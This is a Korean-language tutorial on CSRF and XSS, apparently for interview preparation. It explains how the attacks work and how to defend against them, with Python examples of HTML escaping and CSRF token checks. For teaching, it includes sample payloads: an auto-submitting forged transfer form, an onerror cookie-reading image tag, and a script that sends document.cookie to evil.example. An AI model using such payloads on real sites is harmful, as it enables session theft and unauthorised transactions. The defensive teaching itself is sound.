Skip to content

CSRF와 XSS ​

CSRF는 로그인한 사용자의 브라우저가 본인도 모르게 공격자가 원하는 요청을 보내게 만드는 공격이고, XSS는 공격자가 남의 웹 페이지에 악성 스크립트를 심어 그 페이지를 연 사용자의 브라우저에서 실행되게 만드는 공격입니다. 둘 다 웹 애플리케이션의 대표적인 보안 취약점이라 기술 면접에서 함께 묶여 자주 나옵니다.

한눈에 보기 ​

  • CSRF (Cross-Site Request Forgery, 사이트 간 요청 위조): "내 이름으로 된 서류에 내가 모르는 사이 도장이 찍히는" 공격입니다. 은행(서버)은 도장(쿠키)이 진짜인지만 확인하기 때문에, 그 서류를 누가 작성했는지는 모릅니다.
  • XSS (Cross-Site Scripting, 사이트 간 스크립트): "게시판에 쪽지를 붙였는데, 그 쪽지를 읽은 사람이 쪽지에 적힌 명령을 그대로 따라 하는" 공격입니다. 브라우저는 그 스크립트가 원래 사이트의 코드인지 공격자가 넣은 코드인지 구분하지 못합니다.
  • 한 줄로 비교하면 CSRF는 서버가 브라우저를 너무 믿어서, XSS는 브라우저가 페이지 내용을 너무 믿어서 생기는 문제입니다.

이름 참고: XSS는 Cross-Site Scripting의 줄임말입니다. CSS(Cascading Style Sheets)와 헷갈리지 않도록 C 대신 X를 씁니다.

CSRF (사이트 간 요청 위조) ​

공격이 성립하는 조건 ​

CSRF는 사용자의 컴퓨터를 감염시키거나 서버를 해킹하는 공격이 아닙니다. 아래 조건이 동시에 맞아야 성립합니다.

  1. 사용자가 공격 대상 사이트(예: 은행, SNS)에 로그인한 상태입니다. (세션 쿠키가 브라우저에 남아 있음)
  2. 그 상태에서 공격자가 만든 페이지나 메일, 링크를 엽니다.
  3. 공격 대상 사이트가 "쿠키만 맞으면" 요청을 처리합니다. 요청이 정말 사용자가 직접 누른 것인지 따로 확인하지 않습니다.

자동 로그인을 켜 두면 1번 조건이 항상 맞기 때문에 피해가 더 자주 생깁니다. 실생활에서 흔한 예는 내 SNS 계정으로 광고 글이 저절로 올라가는 경우입니다.

공격 흐름 ​

[사용자]                     [공격자 페이지]                  [bank.example 서버]
   │ 1. bank.example 로그인 ──────────────────────────────────▶ │
   │ ◀──────────────────────────────── 2. 세션 쿠키 발급 ───── │
   │                                                            │
   │ 3. 공격자 페이지 방문 ──▶ │                                 │
   │                          │ 숨겨진 폼이 자동 제출됨           │
   │                          │ POST /transfer (to=공격자)       │
   │ 4. 브라우저가 bank.example 쿠키를 자동으로 붙여서 전송 ───▶ │
   │                                                            │ 5. 쿠키가 맞으니
   │                                                            │    송금 처리

핵심은 4번입니다. 브라우저는 요청을 어느 페이지에서 보냈든, 목적지 사이트의 쿠키를 자동으로 붙여 보냅니다. 서버 입장에서는 정상 요청과 위조 요청이 똑같아 보입니다. (쿠키가 어떻게 동작하는지는 쿠키와 세션 글에서 자세히 다룹니다.)

공격자 페이지에 들어가는 코드는 아래처럼 단순합니다.

html
<!-- 공격자 페이지: 열자마자 bank.example로 송금 요청을 보냄 -->
<form action="https://bank.example/transfer" method="POST" id="f">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000000">
</form>
<script>document.getElementById('f').submit()</script>

GET 요청으로 상태가 바뀌는 기능(예: GET /delete?id=3)은 더 위험합니다. 이미지 태그 하나(<img src="...">)만으로도 요청이 나가기 때문입니다. 그래서 데이터를 바꾸는 요청은 GET이 아니라 POST, PUT, DELETE 같은 메서드로 만들어야 합니다. (HTTP 요청 메서드 참고)

CSRF 방어 방법 ​

방법원리주의할 점
CSRF 토큰서버가 폼마다 추측할 수 없는 난수를 넣어 주고, 요청에 그 값이 있는지 확인공격자 페이지는 이 값을 읽을 수 없어서 위조 요청에 넣지 못함
SameSite 쿠키쿠키에 SameSite=Lax 또는 Strict를 지정해, 다른 사이트에서 시작된 요청에는 쿠키를 붙이지 않게 함요즘 주요 브라우저는 지정하지 않으면 Lax처럼 취급하지만, 직접 명시하는 것이 안전
Origin / Referer 검사요청 헤더의 Origin(없으면 Referer)이 우리 사이트 주소인지 확인헤더가 비어 오는 경우가 있어 단독으로 쓰기보다 보조 수단으로 사용
중요한 작업은 재확인송금, 비밀번호 변경 전에 비밀번호나 OTP를 다시 입력받음사용성이 떨어지므로 정말 중요한 기능에만 적용

SameSite 값의 차이는 다음과 같습니다.

값다른 사이트에서 온 요청에 쿠키를 붙이나
Strict절대 붙이지 않음. 외부 링크로 들어와도 처음엔 로그아웃 상태처럼 보임
Lax링크 클릭 같은 최상위 GET 이동에만 붙임. 다른 사이트에서 보내는 POST 폼에는 붙이지 않음
None항상 붙임. 반드시 Secure(HTTPS 전용)와 함께 써야 함

CSRF 토큰도 XSS에는 약합니다. 공격자의 스크립트가 우리 페이지 안에서 실행되면, 페이지에 들어 있는 토큰을 그대로 읽어서 요청에 넣을 수 있기 때문입니다. 그래서 XSS를 먼저 막아야 CSRF 방어도 의미가 있습니다.

XSS (사이트 간 스크립트) ​

공격 흐름 (저장형 예시) ​

[공격자] ── 1. 댓글에 스크립트 작성 ──▶ [게시판 서버] ── 2. DB에 그대로 저장
                                              │
[피해자] ── 3. 게시글 열람 ─────────────────▶ │
         ◀── 4. 댓글이 들어간 HTML 응답 ─────── │
   │
   │ 5. 브라우저가 댓글 속 스크립트를 "이 사이트의 코드"로 알고 실행
   ▼
   쿠키 탈취, 화면 조작, 사용자 몰래 요청 전송 등

아래 그림은 같은 흐름을 쿠키 탈취 예시로 그린 것입니다. 공격자가 댓글에 스크립트를 넣고(1), 피해자가 댓글을 열면(2, 3) 피해자 브라우저가 그 스크립트를 실행해 쿠키를 공격자 서버로 보냅니다(4).

저장형 XSS: 공격자가 심은 댓글 스크립트가 피해자 브라우저에서 실행되어 쿠키가 공격자 서버로 전송되는 과정

그림 출처: Wikimedia Commons (CC BY-SA 4.0)

브라우저 입장에서 이 스크립트는 정상 사이트에서 내려온 코드와 구별되지 않습니다. 그래서 그 사이트의 권한으로 실행됩니다. 쿠키를 읽어 공격자 서버로 보내면, 공격자는 그 세션 ID로 피해자 계정에 로그인할 수 있습니다. 이것을 세션 하이재킹이라고 합니다.

XSS의 세 가지 종류 ​

종류스크립트가 어디에 있나어떻게 퍼지나예
저장형 (Stored, Persistent)서버의 DB그 글을 여는 모든 사용자에게 실행됨게시판 댓글, 프로필 소개글
반사형 (Reflected)URL 같은 요청 값서버가 요청 값을 응답 HTML에 그대로 돌려줌. 공격자가 링크를 누르게 유도search?q= 뒤에 스크립트를 넣은 검색 결과 페이지
DOM 기반 (DOM-based)URL의 # 뒷부분 등 브라우저 안서버를 거치지 않고, 페이지의 자바스크립트가 그 값을 화면에 넣을 때 실행됨location.hash 값을 innerHTML로 넣는 코드

DOM 기반 XSS는 악성 값이 서버 로그에 남지 않는 경우가 많아(예: # 뒷부분은 서버로 전송되지 않음) 서버 쪽에서 탐지하기 어렵습니다. 이 공격은 브라우저가 HTML을 DOM으로 바꾸는 과정과 관련이 있으니 브라우저 동작 원리도 함께 보면 좋습니다.

XSS 방어 방법 ​

방법설명
출력할 때 이스케이프사용자 입력을 HTML에 넣기 직전에 <를 &lt;처럼 바꿔서 "글자"로만 보이게 함. 가장 기본이자 가장 중요한 방어
innerHTML 대신 textContentinnerHTML은 넣은 문자열을 HTML로 해석하고, textContent는 그냥 글자로 넣음. 사용자 입력은 항상 textContent로
HTML 허용이 꼭 필요하면 정화(Sanitize)게시판 에디터처럼 굵게, 링크 정도는 허용해야 할 때는 DOMPurify 같은 검증된 라이브러리로 허용 목록 외의 태그와 속성을 제거
CSP (Content Security Policy)응답 헤더로 "이 페이지는 우리 도메인의 스크립트만 실행한다"고 브라우저에 알려 줌. 스크립트가 심어져도 실행을 막는 2차 방어선
HttpOnly 쿠키쿠키에 HttpOnly를 붙이면 자바스크립트(document.cookie)로 읽을 수 없음. XSS가 터져도 세션 쿠키 탈취는 막음
프레임워크 기본 기능 활용Vue, React는 화면에 값을 넣을 때 기본으로 이스케이프함. Vue의 v-html, React의 dangerouslySetInnerHTML처럼 이 보호를 끄는 기능은 꼭 필요할 때만 사용

innerHTML과 textContent의 차이를 코드로 보면 다음과 같습니다.

js
const comment = '<img src=x onerror="alert(document.cookie)">'

// 위험: 문자열을 HTML로 해석함. img 태그가 만들어지고 onerror 스크립트가 실행됨
commentBox.innerHTML = comment

// 안전: 문자열을 글자 그대로 넣음. 화면에 태그 모양의 글자가 보일 뿐 실행되지 않음
commentBox.textContent = comment

CSP 헤더는 아래처럼 지정합니다.

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

입력값 필터링(블랙리스트)만으로 막으려는 방식은 우회가 쉬워서 권장하지 않습니다. script라는 글자를 지워도 onerror, javascript: 링크처럼 스크립트를 실행하는 방법은 아주 많습니다. 입력은 검증하고, 출력은 그 위치(HTML 본문, 속성, URL, 자바스크립트 안)에 맞게 이스케이프하는 것이 원칙입니다.

클라이언트 검사만으로는 막을 수 없다 ​

폼 유효성 검사 글처럼 브라우저에서 입력값을 검사하는 것은 사용자에게 빠르게 안내하는 사용성 기능입니다. 공격자는 브라우저를 거치지 않고 curl 같은 도구로 서버에 바로 요청을 보낼 수 있기 때문에, 클라이언트 검사는 보안 장치가 될 수 없습니다. 보안을 위한 검증과 이스케이프는 반드시 서버에서도 해야 합니다.

CORS와 SOP는 XSS 방어 수단일까 ​

브라우저의 SOP(Same-Origin Policy, 동일 출처 정책) 는 다른 출처의 응답을 자바스크립트로 마음대로 읽지 못하게 막는 기본 규칙이고, CORS 는 서버가 "이 출처에는 읽기를 허락한다"고 그 규칙을 풀어 주는 장치입니다. 둘 다 XSS를 직접 막아 주지는 않습니다. 공격자의 스크립트가 우리 페이지 안에서 실행되는 순간 그 스크립트는 이미 "같은 출처"이기 때문입니다. 외부에서 스크립트를 불러오지 못하게 막는 것은 CORS가 아니라 CSP의 역할입니다.

코드로 감 잡기: 이스케이프와 CSRF 토큰 ​

이스케이프 함수 ​

사용자가 쿠키를 훔치는 스크립트를 댓글로 남겼다고 가정합니다. 이스케이프 전후로 HTML이 어떻게 달라지는지 Python으로 확인해 봅니다.

python
def escape_html(text):
    # &를 가장 먼저 바꿔야 이미 바뀐 &lt; 같은 글자가 다시 망가지지 않는다
    table = {"&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#x27;"}
    return "".join(table.get(ch, ch) for ch in text)

comment = '<script>fetch("https://evil.example/?c=" + document.cookie)</script>'

unsafe = "<li>" + comment + "</li>"
safe = "<li>" + escape_html(comment) + "</li>"

print("[이스케이프 전]", unsafe)
print("[이스케이프 후]", safe)

실행 결과:

[이스케이프 전] <li><script>fetch("https://evil.example/?c=" + document.cookie)</script></li>
[이스케이프 후] <li>&lt;script&gt;fetch(&quot;https://evil.example/?c=&quot; + document.cookie)&lt;/script&gt;</li>

이스케이프 전 HTML을 브라우저가 받으면 script 태그로 해석해서 실행합니다. 이스케이프 후 HTML은 브라우저 화면에 태그 모양의 글자로만 보이고 실행되지 않습니다. 실제 서비스에서는 직접 만들기보다 Python의 html.escape()나 템플릿 엔진의 자동 이스케이프 기능을 씁니다.

CSRF 토큰 검사 ​

서버가 세션에 난수 토큰을 저장해 두고, 요청에 같은 값이 들어 있을 때만 처리하는 흐름입니다.

python
import secrets, hmac

session = {}  # 서버가 사용자별로 보관하는 세션 저장소라고 생각하면 됩니다

def issue_token():
    session["csrf_token"] = secrets.token_hex(16)
    return session["csrf_token"]

def handle_transfer(form):
    sent = form.get("csrf_token", "")
    if not hmac.compare_digest(sent, session.get("csrf_token", "")):
        return "403 거절: CSRF 토큰이 맞지 않습니다"
    return f"200 처리 완료: {form['to']}에게 {form['amount']}원 송금"

token = issue_token()
print("발급한 토큰 길이:", len(token))
print("정상 폼   ->", handle_transfer({"to": "친구", "amount": 10000, "csrf_token": token}))
print("위조 요청 ->", handle_transfer({"to": "공격자", "amount": 1000000}))
print("추측 토큰 ->", handle_transfer({"to": "공격자", "amount": 1000000, "csrf_token": "1234"}))

실행 결과:

발급한 토큰 길이: 32
정상 폼   -> 200 처리 완료: 친구에게 10000원 송금
위조 요청 -> 403 거절: CSRF 토큰이 맞지 않습니다
추측 토큰 -> 403 거절: CSRF 토큰이 맞지 않습니다
  • 공격자 페이지는 우리 사이트의 HTML을 읽을 수 없으니 토큰 값을 알 수 없습니다. 그래서 위조 요청에는 토큰이 없거나 틀린 값이 들어갑니다.
  • 토큰은 random이 아니라 추측이 불가능한 secrets 모듈로 만들고, 비교는 == 대신 hmac.compare_digest()로 합니다. 비교에 걸리는 시간으로 값을 한 글자씩 알아내는 공격(타이밍 공격)을 막기 위해서입니다.

CSRF와 XSS 비교 ​

구분CSRFXSS
공격자가 노리는 것서버가 쿠키만 보고 요청을 믿는 점브라우저가 페이지 안의 스크립트를 믿는 점
악성 코드가 실행되는 곳공격자 페이지 (요청만 대상 사이트로 보냄)대상 사이트 페이지 안 (피해자의 브라우저)
공격자가 할 수 있는 일정해진 요청 보내기 (응답은 볼 수 없음)페이지 안에서 할 수 있는 거의 모든 일 (화면 읽기, 쿠키 탈취, 요청 전송)
로그인 필요 여부피해자가 대상 사이트에 로그인해 있어야 함꼭 필요하지 않음 (로그인 상태면 피해가 커짐)
대표 방어CSRF 토큰, SameSite 쿠키, Origin 검사출력 이스케이프, textContent, CSP, HttpOnly 쿠키
관계XSS가 뚫리면 CSRF 토큰도 무력화됨XSS를 이용해 CSRF 공격을 할 수 있음

면접에서 자주 나오는 질문 ​

Q. CSRF와 XSS의 차이는 무엇인가요? CSRF는 사용자의 로그인 상태를 이용해 서버에 위조된 요청을 보내게 하는 공격이고, XSS는 웹 페이지에 스크립트를 심어 사용자 브라우저에서 실행시키는 공격입니다. CSRF는 서버가 요청을 믿는 점을, XSS는 브라우저가 페이지 내용을 믿는 점을 노립니다.

Q. CSRF는 어떻게 막나요? 요청마다 추측할 수 없는 CSRF 토큰을 넣어 서버에서 확인하고, 세션 쿠키에 SameSite=Lax 이상을 지정합니다. 보조적으로 Origin 헤더를 검사하고, 데이터를 바꾸는 요청은 GET으로 만들지 않습니다.

Q. XSS는 어떻게 막나요? 사용자 입력을 화면에 넣을 때 출력 위치에 맞게 이스케이프하는 것이 기본입니다. 자바스크립트에서는 innerHTML 대신 textContent를 쓰고, CSP 헤더로 허용된 스크립트만 실행되게 하며, 세션 쿠키에 HttpOnly를 붙여 탈취를 막습니다.

Q. HttpOnly를 붙이면 XSS를 막을 수 있나요? 아닙니다. 자바스크립트로 쿠키를 읽는 것만 막을 뿐, 스크립트 실행 자체는 막지 못합니다. 공격자는 쿠키를 훔치지 않고도 피해자 브라우저에서 바로 요청을 보낼 수 있으므로 이스케이프와 CSP가 함께 필요합니다.

Q. JWT를 쓰면 CSRF 걱정이 없나요? 토큰을 어디에 저장하느냐에 따라 다릅니다. Authorization 헤더에 직접 넣어 보내면 브라우저가 자동으로 붙이지 않으므로 CSRF에는 강하지만, localStorage에 두면 XSS로 탈취될 수 있습니다. 쿠키에 담으면 다시 CSRF 방어가 필요합니다. 자세한 내용은 JWT 글을 참고하세요.

정리 ​

  • CSRF: 로그인한 사용자의 브라우저가 쿠키를 자동으로 붙여 보내는 점을 이용해, 본인 의도와 다른 요청을 보내게 하는 공격입니다. CSRF 토큰, SameSite 쿠키, Origin 검사로 막습니다.
  • XSS: 페이지에 심어진 스크립트가 그 사이트의 권한으로 실행되는 공격입니다. 저장형, 반사형, DOM 기반 세 가지가 있으며 출력 이스케이프, textContent, CSP, HttpOnly 쿠키로 막습니다.
  • 클라이언트 쪽 입력 검사는 사용성 기능일 뿐이고, 보안 검증은 반드시 서버에서도 해야 합니다.
  • XSS가 뚫리면 CSRF 방어도 무너지므로, 둘 중 XSS 방어가 먼저입니다.